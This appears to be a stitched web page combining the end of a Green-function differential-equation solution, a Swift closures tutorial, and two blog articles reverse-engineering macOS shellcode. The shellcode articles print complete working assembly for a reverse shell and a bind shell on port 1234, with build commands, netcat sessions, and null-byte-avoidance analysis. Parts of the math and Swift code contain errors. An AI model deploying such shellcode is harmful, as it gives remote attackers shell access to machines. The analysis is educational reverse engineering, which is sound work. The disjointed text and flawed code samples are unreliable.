$$\int_{[0,1]}G(x,\xi)\varphi(\xi)\,d\xi$$

being P a given interval of the real numbers. The Green function is piecewise, so the integral must be split into two integrals, combined together. Linearity then would grant the fact that the solution works in the general case.

Then we will have

$$\int_{[0,1]}G(x,\xi)\varphi(\xi)\,d\xi=\int_{[0,x]}G(x,\xi)\xi ^2\,d\xi+\int_{[x,1]}G(x,\xi)\xi ^2\,d\xi=:\mathcal{I}_1+\mathcal{I}_2$$

Now:

$$\xi\in[0,x]\Rightarrow\xi\leq x\Rightarrow G(x,\xi)=\left( \xi+1 \right) x$$

therefore

$$\mathcal{I}1=\int{[0,x]}\left( \xi+1 \right) x\xi^2\,d\xi=x\int_{[0,x]}\left( \xi^3+\xi^2 \right)\,d\xi$$

and similarly

$$\xi\in[x,1]\Rightarrow\xi\geq x\Rightarrow G(x,\xi)=\left( x+1 \right) \xi$$

$$\mathcal{I}2=\int{[x,1]}(x+1)\xi^3\,d\xi=(x+1)\int_{[x,1]}\xi^3\,d\xi$$

Now:

$$\mathcal{I}1= x\left[\frac{\xi^4}{4}+\frac{\xi^3}{3}\right]{\xi=0}^{\xi=x}=\frac{x^5}{4}+\frac{x^4}{3}$$

and

$$\mathcal{I}2=(x+1)\left[\frac{\xi^4}{4}\right]{\xi=x}^{\xi=1}=(x+1)\cdot\frac{1}{4}(1-x^4)=\frac{1+x-x^4-x^5}{4}$$

Therefore

$$\mathcal{I}= \mathcal{I}_1+\mathcal{I}_2=\frac{x^5}{4}+\frac{x^4}{3}+\frac{1}{4}+\frac{x}{4}-\frac{x^4}{4}-\frac{x^5}{4}=\frac{3+3x+x^4}{12}$$

Now observe that the problem is linear and its the solution can be written as the sum of the solution to the homogeneous equation with inhomogeneous boundary conditions and the inhomogeneous equation with homogeneous boundary conditions.

Clearly, the Green function would solve the latter.

We also need to solve the homogeneous differential equation associated with this system imposing the inhomogeneous constraints, thus obtaining a solution. If we call the solutions respectively

$$y_H\text{ and } y_I$$

by linearity we obtain

$$y=y_H+y_I$$

So we find the the second solution, which is the solution to the system

$$\frac{d^2}{dx^2}y=0;\quad y(0)=y'(0)+1; \quad y(1)=y'(1)+2$$

We have already shown that the solution to the differential equation is

$$y=c_0x+c_1$$

whose derivative is

$$\frac{d}{dx} y=c_0$$

Now

$$y(0)=y'(0)+1\Rightarrow c_1=1+c_0$$

$$y(1)=y'(1)+2\Rightarrow c_0+c_1=c_0+2\Rightarrow c_1=2$$

Thus

$$2=1+c_0\Rightarrow c_0=1$$

and hence

$$y_I(x)=x+2$$

Finally

$$y=y_H+y_I=\frac{3+3x+x^4}{12}+x+2=\frac{x^4}{12} + \frac{5x}{4} + \frac{9}{4}$$

as requested.

Lately, I have spent some time sharpening my Swift skills. Swift is a wonderful language, but it has some aspects that deserve attention.

The first topic I wanted to review is Closures.

Closures are a powerful feature offered by the Swift language. You can use them to pass functions to other functions, resulting in a very flexible code.

Never forget what Voltaire said: "With great powers come great responsibilities" (no, it wasn't Uncle Ben, my dear Marvel fanboy...) - irresponsible usage of closures may lead to non-maintainable code.

Definition

So, what are Closures? According to the Swift Programming Language official documentation (https://docs.swift.org/swift-book/documentation/the-swift-programming-language/closures):

Closures are self-contained blocks of functionality that can be passed around and used in your code. Closures in Swift are similar to blocks in C and Objective-C and to lambdas in other programming languages.

In short, this means that closures are functions. Actually, according to the documentation, functions are special cases of closures. The documentation considers functions as closures baptised with a name. The most generic syntax of a closure is:

{ (param1, param2, ..., paramN) [-> ReturnType] in 
//actual closure code 
}

in the previous definition, the ReturnType is optional. This is coherent with how functions are defined. The parameter list is optional as well, as we will shortly show.

Closures as variables

In Swift, the following declaration is completely legal, and will compile:

var closure1 = { print("I am a closure, and I am a variable") }

This variable contains a function that can be invoked:

closure1()

This would output:

I am a closure, and I am a variable

Being a variable, we can modify it:

closure1 = { print("Being a variable, I can be modified") }

Now the output would be:

Being a variable, I can be modified

Parameters

Let's add some more spice: input parameters. We want to create a function that accepts a number and prints its square. The code is quite intuitive:

let square = {(number: Int) in print(number*number) }
square(2)

The output is 4, as expected. As a point of interest, observe that closures can be also defined as constants.

Closures

with parameters and return types If we wanted to have the value returned instead of having it only printed, we'd need to redesign the closure:

let squareR = {(number: Int) -> Int in 
    return (number*number)
}

The invocation becomes:

let s = squareR(10)
print(s)

Closures without parameters but with return types

The last case we have is the one in which a closure doesn't accept any parameter, but returns a value. So, we write a function that returns the current date, formatted in the European way:

let currentDate = { () -> String in 
    let date = Date() 
    let dateFormatter = DateFormatter() 
    dateFormatter.dateFormat = "dd/MM/yyyy"
    return(dateFormatter.string(from: date)) 
}

Parameter inference

Swift infers the type of the parameters, hence the following code is perfectly legal:

let positive = {x in return x>0.0}

Here, the overhead of the (x: Double)has been simplified, because the variable is compared with a double. Hence the instruction

let minusPI = -3.1415 
print(positive(minusPI))

would return true, but the following won’t compile:

let four = 4 print(positive(four))

This code would try to compare the variable four, which is an integer, with a double (0.0). The console would report error: cannot convert value of type 'Double' to expected argument type 'Int'.

The very first thing that came into my mind when I saw this feature was to write something like:

let product = {x,y in x*y}

Unfortunately, this won’t work, because the compiler cannot understand if that * represents the operation between Integers or Doubles. This makes perfect sense, from an Assembly perspective.

PERLish arguments

In Swift, the declarations:

let positive = {x in return x>0.0}

and

let positive = {$0>0.0}

are equivalent. In Swift, $0 refers to the first argument, $1 to the second, and $n to the (n+1)-th. Welcome back, PERL.

Closures as function parameters

Closures can be used as variables and constants, and consequently, they can be used as function parameters. This is consistent with the structure of functions.

The following code compiles and works as expected:

let rnd = {x in 
    return Int.random(in: 1..<x)
} 

let IntSqrtRoot = {(x: Int) in 
    let d = Double(x)
    let r = Int(d.squareRoot()) 
    return r
}

func F(Closure1 C1: (Int)->Int, Closure2 C2: (Int)->Int, aRandomInteger n: Int) { 
    let val1: Int = C1(n) 
    let val2: Int = C2(n)
    print("A random number less than (n): (val1)") 
    print("The integer part of the square root of (n) is (val2)") 
}

F(Closure1: rnd, Closure2: IntSqrtRoot, aRandomInteger: 17)

The output of this code varies because of the randomness of the first closure, but in general, it has the following structure:

A random number less than 17: 13 

The integer part of the square root of 17 is 4

The type for the closures, in this case, is (Int)->Int, but they may vary.

Closures as return types

We may have a function returning a closure. The definition of such a function can be as follows:

func G(switch n:Int) ->(Int)->Any{ 
    let f1 = {x in 
        return x+1
    } 
    let f2 = {(x:Int) in 
        let d = Double(x) 
        return d.squareRoot() 
    }
    let f3 = {(x:Int) in 
        var result = "" 
        for _ in 0..<x{
            result = "(result)*"
        } 
        return result 
    }

    switch n{ 
        case 0: 
            return f1 
        case 1: 
            return f2 
        case 3:
            return f3 
        default: 
            return {(x:Int) in 
                return ("10","ten")
            } 
    }
}

We can invoke it as follows:

let function1 = G(switch: 1) 
print(function1(123)) 
let function2 = G(switch: 2) 
print(function2(10)) 
let function3 = G(switch: 3) 
print(function3(17)) 
let function4 = G(switch: 0)
print(function4(10))

this returns the following output:

11.090536506409418 
("10", "ten")
**********
11

A word of caution: these two features, taken altogether, can lead to spaghetti code, ravioli code, macaroni code, and to lasagna code. So be very cautious when you use it - you need to watch your daily carbs consumption :)

Trailing closures

There is another way to invoke functions accepting closures as parameters. This happens when the closure is the final argument.

Assume we have this function:

func generateHash(plaintext t: String, seed s: Int, algorithm a: (String, Int) -> String) -> String{ 
    let encypheredText = a(t,s) 
    return encypheredText 
}

We may invoke it as:

let encrypted1 = generateHash(plaintext: "Pen Pineapple Apple Pen", seed: 321, algorithm: {
        (plaintext: String, seed: Int) in 
            return "This is the hash of '(plaintext)' encrypted with TripleDES! Key used is (seed)"
    }
)
print(encrypted1)

or we could define a variable with a closure implementing the algorithm:

let RSA = {(plaintext: String, seed: Int) in 
    return "This is the hash of '(plaintext)' encrypted with RSA! Key used is (seed)" 
} 
print(generateHash(plaintext: "Pen Pineapple Apple Pen", seed: 123, algorithm: RSA))

There is another way to invoke this function. The closure is (explicitly) written outside the closing parentheses, as follows:

let encrypted2 = generateHash(plaintext: "Pen Pineapple Apple Pen", seed: 456){(plaintext: String, seed: Int) in 
    return "This is the hash of '(plaintext)' encrypted with ECC! Key used is (seed)"
}

I have not been able to do this kind of invocation with two different closures (e.g., f(params){closure1}{closure2}, but that’s probably for the best. Personally speaking, I don’t find this feature elegant. Nevertheless, it’s important we know it’s there.

Commentary

This covers the basic functionalities of Closures.

We have shown how closures constitute a great way to write flexible code. They are widely used throughout AppKit exactly for that flexibility, but their practical application goes far beyond building an interface - for instance, AI or dynamic analysis tools can largely benefit from closures.

The only word of caution is be wary of how you use closures! Writing spaghetti code (or better, cannelloni code. This stuff is filled!) is the real risk, here.

In this series of articles, I am analysing the pieces of shellcode written by Odzhan on the page Shellcode: Mac OSX amd64.

In the last article, we will put together what we have learnt so far and we will create a reverse bind shell

Keywords

reverse bind shell, socket, sys_dup2, execve, connect.

The code

We start with compiling the code from the well-known website:

bits 64
global _main
_main:


; 79 byte reverse shell
;
    bits    64

    mov     rcx, ~0x0100007fd2040200
    not     rcx
    push    rcx

    xor     ebp, ebp
    bts     ebp, 25
    ; step 1, create a socket
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    push    rbp
    pop     rax
    cdq                      ; rdx=IPPROTO_IP
    push    1
    pop     rsi              ; rsi=SOCK_STREAM
    push    2
    pop     rdi              ; rdi=AF_INET
    mov     al, 97
    syscall

    xchg    eax, edi         ; edi=s
    xchg    eax, esi         ; esi=2

    ; step 2, assign socket handle to stdin,stdout,stderr
    ; dup2(r, FILENO_STDIN)
    ; dup2(r, FILENO_STDOUT)
    ; dup2(r, FILENO_STDERR)
dup_loop64:
    push    rbp
    pop     rax              ; eax = 0x02000000
    mov     al, 90           ; rax=sys_dup2
    syscall
    sub     esi, 1
    jns     dup_loop64       ; jump if not signed

    ; step 3, connect to remote host
    ; connect (sockfd, {AF_INET,1234,127.0.0.1}, 16);
    push    rbp
    pop     rax
    push    rsp
    pop     rsi
    mov     dl, 16           ; rdx=sizeof(sa)
    mov     al, 98           ; rax=sys_connect
    syscall

    ; step 4, execute /bin/sh
    ; execve("/bin//sh", NULL, 0);
    push    rax
    pop     rsi
    push    rbp
    pop     rax
    cdq                      ; rdx=0
    mov     rbx, '/bin//sh'
    push    rdx              ; 0
    push    rbx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; "/bin//sh", 0
    mov     al, 59           ; rax=sys_execve
    syscall

Compiling this code is not different from the usual:

gbiondo@tripleX reverse connect shell % nasm -f macho64 rcs.asm 
gbiondo@tripleX reverse connect shell % ld -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem rcs.o -o reverseConnectShell

Now from another terminal we launch a netcat shell:

gbiondo@tripleX ~ % pwd
/Users/gbiondo
gbiondo@tripleX ~ % /usr/bin/nc -l  1234
...

And we launch the reverse shell:

gbiondo@ tripleX reverse connect shell % ./reverseConnectShell

On the first terminal, we can issue commands as if these were launched from the second shell:

gbiondo@tripleX ~ % /usr/bin/nc -l  1234
pwd
/Users/gbiondo/EXP312/Odzhan/reverse connect shell

It works fine.

It must be observed that if there is no shell to connect to, the given shellcode crashes with a segmentation fault.

This time we opt for another strategy to do the reverse engineering exercise. First, we collect all the launched syscalls, and we look through their documentation, if needed.

The syscalls shouldn’t be new to the aficionados of this series – however, if you have lost the articles:

• We discussed execve in Come taste some shellcode...
• We discussed sys_dup2 in Binding a shell
• We discussed socket in Binding a shell
• We didn’t discuss connect yet

So the algorithm will be:

To save some time later, let's remember that according to the AMD calling convention, the registers shall contain the values as described below:

As I said in a previous article, when working with projects it’s always better to view both lldb and a visual disassembler. It gives a wide view of how the same result can be achieved in different manners. For instance, the original code:

mov     rcx, ~0x0100007fd2040200
    not     rcx

has been disassembled by lldb as:

reverseConnectShell[0x100003f69] <+0>:  movabs rcx, -0x100007fd2040201
reverseConnectShell[0x100003f73] <+10>: not    rcx

and by hopper as:

0000000100003f69         movabs     rcx, 0xfeffff802dfbfdff
0000000100003f73         not        rcx

Now, movabs and mov can be considered synonyms, in this context (see this link for more information), and yet the operands are different.

In the first case, the whole process has been already discussed in the article “Binding a shell”. We re-do this once more here:

This shows that the approach of the original code and the one of hopper are equivalent.

Negative numbers are obtained with 2's complement, so we have:

This finally proves that the three approaches are equivalent. As a point of interest, it’d have been way faster writing a simple piece of code:

#include <stdio.h>

int main() {
    long myInt;
    myInt = 0x100007fd2040201;
    myInt *= -1;
    printf("Original number made negative, in hex: %#lx\n",myInt);

    return 0;
}

Or, damnit! you may use any scientific calculator that has programming features!

Now that we agree on the data, we can proceed with the analysis. For the sake of clarity, I am subdividing the code in chunks; the separators being the syscall instructions (and subsequent return value storing, if pertinent).

To make the things clearer, I will also show the contents of the registers and the stack.

First chunk: invoking socket

In other words, this is the main program until the loop. The disassembled code is:

(lldb) disassemble -n main
reverseConnectShell`main:
reverseConnectShell[0x100003f69] <+0>:  movabs rcx, -0x100007fd2040201
reverseConnectShell[0x100003f73] <+10>: not    rcx
reverseConnectShell[0x100003f76] <+13>: push   rcx
reverseConnectShell[0x100003f77] <+14>: xor    ebp, ebp
reverseConnectShell[0x100003f79] <+16>: bts    ebp, 0x19
reverseConnectShell[0x100003f7d] <+20>: push   rbp
reverseConnectShell[0x100003f7e] <+21>: pop    rax
reverseConnectShell[0x100003f7f] <+22>: cdq    
reverseConnectShell[0x100003f80] <+23>: push   0x1
reverseConnectShell[0x100003f82] <+25>: pop    rsi
reverseConnectShell[0x100003f83] <+26>: push   0x2
reverseConnectShell[0x100003f85] <+28>: pop    rdi
reverseConnectShell[0x100003f86] <+29>: mov    al, 0x61
reverseConnectShell[0x100003f88] <+31>: syscall 
reverseConnectShell[0x100003f8a] <+33>: xchg   eax, edi
reverseConnectShell[0x100003f8b] <+34>: xchg   eax, esi

We have already seen what happens in <+0>. The effect of the operation <+10> is simply flipping the bytes in RCX, this is put in the stack in <+13>.

Let's observe the result of the not, although the mechanism should be very clear by now:

What is this all about

We didn’t look at the man page of the connect instruction, taking it somehow for granted. Let’s do it now.

man 2 connect gives:

int connect(int socket, const struct sockaddr *address, socklen_t address_len);

DESCRIPTION The parameter socket is a socket. If it is of type SOCK_DGRAM, this call specifies the peer with which the socket is to be associated; this address is that to which datagrams are to be sent, and the only address from which datagrams are to be received. If the socket is of type SOCK_STREAM, this call attempts to make a connection to another socket. The other socket is specified by address, which is an address in the communications space of the socket. Each communications space interprets the address parameter in its own way. Generally, stream sockets may successfully connect() only once; datagram sockets may use connect() multiple times to change their association. Datagram sockets may dissolve the association by calling disconnectx(2), or by connecting to an invalid address, such as a null address or an address with the address family set to AF_UNSPEC (the error EAFNOSUPPORT will be harmlessly returned).

Now, we have already seen a const struct sockaddr *address passed to a syscall when we analysed bind. We have seen how to calculate the length, which is 16 bytes and how the fields are populated. Let’s get shortly back to that, remembering that the author wants to invoke connect with the parameters (sockfd, {AF_INET,1234,127.0.0.1}, 16). The first and the last should be immediate to understand, so we focus on the second one, namely {AF_INET,1234,127.0.0.1}.

• The value of the constant AF_INET is 0x02.
• 1234 is an immediate constant. In hex that value is represented as 0x04D2.
• The remaining, 127.0.0.1, can be represented as 0x7F 0x00 0x00 0x01.
• Finally, we know that a const struct sockaddr *address has an initial field, sin_len, which is 1-byte long, and must be null: 0x00.

All these, taken altogether:

The piece of code prepares the contents that will be pointed after by *address.

However, the situation before <+13> is executed is:

and after its execution we have:

The next instruction (<+14>) zeroes the contents of ebp, which are the last 32 bits of rpb – side effect of this action is zeroing also rbp; and the one after (<+16>) sets the 26th (0x19=26 – but also this should be clear by now) bit of the register to 1.

This prepares a 0x0000000002000000 value for the syscall without spawning null-bytes. Doing this makes a constant that is used during the preparations of the syscalls (do once and then use it!). In fact, the very next two operations store the value in the stack (<+20>) and stores it into rax (<+21>).

The CDQ instruction (<+22>) sets RDX to 0, since eax is signed positive.

The effect of the two instructions <+23> and <+25> is to store the value 1 into rsi without generating null-bytes:

and similarly, with <+26> and <+28> the value 2 is stored into rdi without generating null-bytes:

Finally, in <+29>, the first syscall is prepared. The situation before and after the syscall is reported below, changes highlighted in red:

A new socket is created, and its value (3) is stored into rax.

The remaining two actions (namely, <+33> and <+34>) swap the contents of the two registers. At the end of the execution we have:

Time to look at the next chunk

dup_loop64

Note that the numeration restarts, but since there's no further label, the program will keep on using the internal numbering also after the jump instruction. This is actually meaningful, from the point of view of the assembly language - the humans must adapt to that :) But we won't surrender, and we'll stubbornly keep on subdividing into smaller chunks :)

reverseConnectShell[0x100003f8c] <+0>:  push   rbp
reverseConnectShell[0x100003f8d] <+1>:  pop    rax
reverseConnectShell[0x100003f8e] <+2>:  mov    al, 0x5a
reverseConnectShell[0x100003f90] <+4>:  syscall 
reverseConnectShell[0x100003f92] <+6>:  sub    esi, 0x1
reverseConnectShell[0x100003f95] <+9>:  jns    0x100003f8c               ; <+0>

At a glance, this routine is very easy to reverse: <+0>, <+1>, and <+2> prepare the syscall (<+4>) using the value of rsi. The register rsi initial value is 2 (STDERR), then becomes 1 (STDOUT), and finally becomes 0 which corresponds to STDIN. Chiefly, this associates the socket file descriptor (rdi, never changing) to the three aforementioned streams. In fact, at each iteration rsi is decremented (<+6>), and the jump is performed only upon non-negative results (<+9>). Easy peasy.

We show a quick example of how the registers are impacted by this loop. The initial push and pop:

and the final ones:

When the loop terminates, the values of the registers is as follows:

This closes the dup_loop64 chunk.

Connect

This may seem the most tricky part of the whole exercise, because it really deals with the stack.

The code is:

reverseConnectShell[0x100003f97] <+11>: push   rbp
reverseConnectShell[0x100003f98] <+12>: pop    rax
reverseConnectShell[0x100003f99] <+13>: push   rsp
reverseConnectShell[0x100003f9a] <+14>: pop    rsi
reverseConnectShell[0x100003f9b] <+15>: mov    dl, 0x10
reverseConnectShell[0x100003f9d] <+17>: mov    al, 0x62
reverseConnectShell[0x100003f9f] <+19>: syscall

Let us focus on the contents of the stack, first. The stack pointer (rsp) contains the value 0x00007FF7BFEFFA20. At this location, the stack contains the previously built struct sockaddr. By now, should be clear the effect of the instructions <+11> and <+12>: they basically prepare the syscall. After the execution of those instructions, the stack pointer still contains struct's address. That address is then stored in rsi with the usual push/pop mechanism, thus populating the value of the second parameter of the syscall. The third parameter must be stored in rdx, whose last byte is set to 0x10 in <+15>. Fianlly, rdi, which contained the file descriptor of the socket, hasn't changed. The syscall is perfectioned in <+17> and then invoked in <+19>.

The final part is the execution of the shell, we have already analysed it in previous articles. Please, refer to them.

Conclusions

The aim of this series was multifold. First of all, I wanted to show that even with no assembly talent, we can understand shellcode (and we built some of that talent in this process, indeed!). I also wanted to show how to do static analysis. It's a lengthy process (the technical term is PitA), error-prone, but gives lots of satisfaction. Assembly is not that harsh monstrosity one expects it to be. It's not easy either, anyway, so you may want to build further skills on that. We have also seen some binary analysis.

... and all this, just by reverse engineering!

In this series of articles, I am analysing the pieces of shellcode written by Odzhan on the page Shellcode: Mac OSX amd64.

In the last article, Some more shellcode I showed some basic static and dynamic binary analysis using Hopper.

In this article, a more complex task is accomplished - we want to create some code that binds a shell.

Binding a Shell

This is the wet dream of all hackers - and conversely, it is the nightmare of all blue teamers. The effect of this shellcode is opening a shell that's accessible via netcat on port 1234.

The code

We start from the code:

; 91 bytes bind shell
;
bits    64

global _main
_main:

    mov     eax, ~0xd2040200 & 0xFFFFFFFF
    not     eax
    push    rax

    xor     ebp, ebp
    bts     ebp, 25

    ; step 1, create a socket
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    push    rbp
    pop     rax              ; rax = 0x02000000
    cdq                      ; rdx = IPPROTO_IP
    push    1
    pop     rsi              ; rsi = SOCK_STREAM
    push    2
    pop     rdi              ; rdi = AF_INET
    mov     al, 97           ; eax = sys_socket
    syscall

    xchg    eax, edi         ; edi=s
    xchg    eax, ebx         ; ebx=2

    ; step 2, bind to port 1234
    ; bind(s, {AF_INET,1234,INADDR_ANY}, 16)
    push    rbp
    pop     rax
    push    rsp
    pop     rsi
    mov     dl, 16
    mov     al, 104
    syscall

    ; step 3, listen
    ; listen(s, 0);
    push    rax
    pop     rsi
    push    rbp
    pop     rax
    mov     al, 106
    syscall

    ; step 4, accept connections
    ; accept(s, 0, 0);
    push    rbp
    pop     rax
    mov     al, 30
    cdq
    syscall

    xchg    eax, edi         ; edi=r
    push    rbx              ; rsi=2
    pop     rsi

    ; step 5, assign socket handle to stdin,stdout,stderr
    ; dup2(r, FILENO_STDIN)
    ; dup2(r, FILENO_STDOUT)
    ; dup2(r, FILENO_STDERR)
dup_loop64:
    push    rbp
    pop     rax
    mov     al, 90           ; rax=sys_dup2
    syscall
    sub     esi, 1
    jns     dup_loop64       ; jump if not signed

    ; step 6, execute /bin/zsh
    ; execve("/bin/zsh", {"/bin/zsh", NULL}, 0);
    xor     esi, esi
    cdq                      ; rdx=0
    mov     rbx, '/bin/zsh'
    push    rdx              ; 0
    push    rbx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; "/bin//sh", 0
    ; ---------
    push    rbp
    pop     rax
    mov     al, 59           ; rax=sys_execve
    syscall

The only detail that's been changed from the original code is the chosen shell. We opted for zsh because nowadays Apple has decided it's the default shell with MacOS. The original shell was /bin//sh (observe the double slash...).

Running the code

In a terminal, I launch:

gbiondo@tripleX Odzhan % ./bindshell

(no output is produced)

In another terminal, I launch:

gbiondo@tripleX shellcode2 % nc localhost 1234
pwd
/Users/gbiondo/EXP312/Odzhan
time

real    0m0.001s
user    0m0.000s
sys    0m0.000s
date
Wed Apr 13 14:52:30 BST 2022
echo $SHELL
/bin/zsh
whoami
gbiondo

Try and imagine: the software you are running opens a shell that can be reachable from the outside - this is very dangerous.

Some static binary analysis

file

gbiondo@tripleX Odzhan % file bindshell
bindshell: Mach-O 64-bit executable x86_64

Nothing we didn't know before, actually

Symbol Table

gbiondo@tripleX Odzhan % objdump -m -t bindshell
bindshell:

SYMBOL TABLE:
0000000100003f96 l     F __TEXT,__text dup_loop64
0000000100000000 g       *ABS* __mh_execute_header
0000000100003f5d g     F __TEXT,__text _main

Nothing too interesting, actually.

Section headers

gbiondo@tripleX Odzhan % objdump -m -h bindshell

Sections:
Idx Name          Size     VMA              Type
  0 __text        0000005b 0000000100003f5d TEXT
  1 __unwind_info 00000048 0000000100003fb8 DATA

Also this one is not too talkative :)

Null-byte sanitization

Before doing anything else, we agree on subdividing the code into logical blocks.

We agree on the following:

• we call the preamble of the program preamble. It ends before the code introduced with the comment ; step 1, create a socket
• we will refer to the block of code between the comments ; step 1, create a socket and ; step 2, bind to port 1234 with socket
• we will refer to the block of code between the comments ; step 2, bind to port 1234 and ; step 3, listen with bind
• we will refer to the block of code between the comments ; step 3, listen and ; step 4, accept connections with listen
• we will refer to the block of code between the comments ; step 4, accept connections and ; step 5, assign socket handle to stdin,stdout,stderr with accept connections
• we will refer to the block of code between the comments ; step 5, assign socket handle to stdin, stdout, stderr and ; step 6, execute /bin/zsh with handle management
• we will refer to the rest of the code with shell execution

For reasons that will be evident later on, we need to have a null-byte-free code. A null-byte is actually a byte that's zeroed in the code. An example can explain the situation better. If we take a look at the opcodes in the disassembled object file of cmdRun, the program we used in Some more shellcode, in the subroutine <l_cmd64> we see:

gbiondo@tripleX Odzhan % objdump -D -M intel cmdRun.o

cmdRun.o:    file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

--8< --8< --8< SNIP --8< --8< --8< 

0000000000000026 <l_cmd64>:
      26: e8 f5 ff ff ff                   call    0x20 <r_cmd64>
      2b: 63 61 74                         movsxd    esp, dword ptr [rcx + 116]
      2e: 20 2f                            and    byte ptr [rdi], ch
      30: 65 74 63                         je    0x96 <l_cmd64+0x70>
      33: 2f                               <unknown>
      34: 70 61                            jo    0x97 <l_cmd64+0x71>
      36: 73 73                            jae    0xab <l_cmd64+0x85>
      38: 77 64                            ja    0x9e <l_cmd64+0x78>
      3a: 00                               <unknown>

The byte in 3a is 00 - there is acceptable because of the structure of the program, but in general, we want to avoid these bytes.

So, now we want to check if we have any null-byte in the opcodes.

We do it part by part.

Preamble

This part is null-byte free:

gbiondo@tripleX bindshell_files % nasm -f macho64 preamble.asm 
gbiondo@tripleX bindshell_files % objdump -D -M intel preamble.o 

preamble.o:    file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 <_main>:
       0: b8 ff fd fb 2d                   mov    eax, 771489279
       5: f7 d0                            not    eax
       7: 50                               push    rax
       8: 31 ed                            xor    ebp, ebp
       a: 0f ba ed 19                      bts    ebp, 25

Socket

Also this part is null-byte free:

gbiondo@tripleX bindshell_files % nasm -f macho64 socket.asm    
gbiondo@tripleX bindshell_files % objdump -D -M intel socket.o 

socket.o:    file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 <__text>:
       0: 55                               push    rbp
       1: 58                               pop    rax
       2: 99                               cdq
       3: 6a 01                            push    1
       5: 5e                               pop    rsi
       6: 6a 02                            push    2
       8: 5f                               pop    rdi
       9: b0 61                            mov    al, 97
       b: 0f 05                            syscall
       d: 97                               xchg    eax, edi
       e: 93                               xchg    eax, ebx

Bind

Another part with no null-bytes:

gbiondo@tripleX bindshell_files % nasm -f macho64 bind.asm    
gbiondo@tripleX bindshell_files % objdump -D -M intel bind.o

bind.o:    file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 <__text>:
       0: 55                               push    rbp
       1: 58                               pop    rax
       2: 54                               push    rsp
       3: 5e                               pop    rsi
       4: b2 10                            mov    dl, 16
       6: b0 68                            mov    al, 104
       8: 0f 05                            syscall

Listen

No null-bytes here...

gbiondo@tripleX bindshell_files % nasm -f macho64 listen.asm 
gbiondo@tripleX bindshell_files % objdump -D -M intel listen.o 

listen.o:    file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 <__text>:
       0: 50                               push    rax
       1: 5e                               pop    rsi
       2: 55                               push    rbp
       3: 58                               pop    rax
       4: b0 6a                            mov    al, 106
       6: 0f 05                            syscall

Accept connections

... nor here. Bo-ring!

gbiondo@tripleX bindshell_files % nasm -f macho64 acceptConnections.asm 
gbiondo@tripleX bindshell_files % objdump -D -M intel acceptConnections.o 

acceptConnections.o:    file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 <__text>:
       0: 55                               push    rbp
       1: 58                               pop    rax
       2: b0 1e                            mov    al, 30
       4: 99                               cdq
       5: 0f 05                            syscall
       7: 97                               xchg    eax, edi
       8: 53                               push    rbx
       9: 5e                               pop    rsi

Handle management

Ibid

gbiondo@tripleX bindshell_files % nasm -f macho64 handleManagement.asm   
gbiondo@tripleX bindshell_files % objdump -D -M intel handleManagement.o 

handleManagement.o:    file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 <dup_loop64>:
       0: 55                               push    rbp
       1: 58                               pop    rax
       2: b0 5a                            mov    al, 90
       4: 0f 05                            syscall
       6: 83 ee 01                         sub    esi, 1
       9: 79 f5                            jns    0x0 <dup_loop64>

Shell execution

Ibid

gbiondo@tripleX bindshell_files % nasm -f macho64 shell.asm             
gbiondo@tripleX bindshell_files % objdump -D -M intel shell.o           

shell.o:    file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 <__text>:
       0: 31 f6                            xor    esi, esi
       2: 99                               cdq
       3: 48 bb 2f 62 69 6e 2f 2f 73 68    movabs    rbx, 7526411283028599343
       d: 52                               push    rdx
       e: 53                               push    rbx
       f: 54                               push    rsp
      10: 5f                               pop    rdi
      11: 55                               push    rbp
      12: 58                               pop    rax
      13: b0 3b                            mov    al, 59
      15: 0f 05                            syscall

Commentary

All these pieces of code are null-byte free on purpose. The original author has written the code as such because he wanted to have a portable shellcode.

In a subsequent article, I will explain some techniques that can be used to obtain clean shellcode. For the very moment, the objective of this part of the article was showing this part of shellcode development.

Dynamic binary analysis

Also in this case, we can use the taxonomy defined above to keep the structure a bit more readable.

If not done yet, we start with the compilation, linking of the executable. The last instruction attaches lldb to the process.

gbiondo@tripleX bindshell_files % nasm -f macho64 bindshell.asm  
gbiondo@tripleX bindshell_files % ld -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem bindshell.o -o bindshell
gbiondo@tripleX bindshell_files % lldb bindshell

We set a breakpoint in the main subroutine, and we're ready to go.

(lldb) breakpoint set -n main
Breakpoint 1: where = bindshell`main, address = 0x0000000100003f5d

Preamble

The preamble disassembled code is as follows:

bindshell[0x100003f5d] <+0>:  mov    eax, 0x2dfbfdff
bindshell[0x100003f62] <+5>:  not    eax
bindshell[0x100003f64] <+7>:  push   rax
bindshell[0x100003f65] <+8>:  xor    ebp, ebp
bindshell[0x100003f67] <+10>: bts    ebp, 0x19

The readers should be familiar with the instruction mov, by now - so I am not going to explain it. On the other hand, it is interesting to understand how ~0xd2040200 & 0xFFFFFFFF becomes 0x2dfbfdff. The operand & does a bitwise AND, thus the & 0xFFFFFFFF can be disregarded (FF is all one's, which is the neutral element for the & operation. The tilde ~ operand inverts the bytes. I have prepared an image that explains how the operation went here - a picture is worth more than a thousand words, after all...

We start the process and begin debugging. Before the execution of instruction at <+0> we have:

(lldb) register read RAX EAX
     rax = 0x0000000100074010  dyld`dyld4::sConfigBuffer
     eax = 0x00074010

and after it, obviously, we obtain:

(lldb) register read RAX EAX
     rax = 0x000000002dfbfdff
     eax = 0x2dfbfdff

Now the following instruction (at <+5>) is a NOT, and after its execution, we have:

(lldb) register read RAX EAX RSP
     rax = 0x00000000d2040200
     eax = 0xd2040200
     rsp = 0x00007ff7bfeff818

Unsurprisingly! NOT is involutory! This has all been done in order to avoid storing null bytes.

The next instruction (<+7>) stores the contents of RAX in the stack (so, at the address 0x00007ff7bfeff810):

(lldb) register read RAX EAX RSP EBP
     rax = 0x00000000d2040200
     eax = 0xd2040200
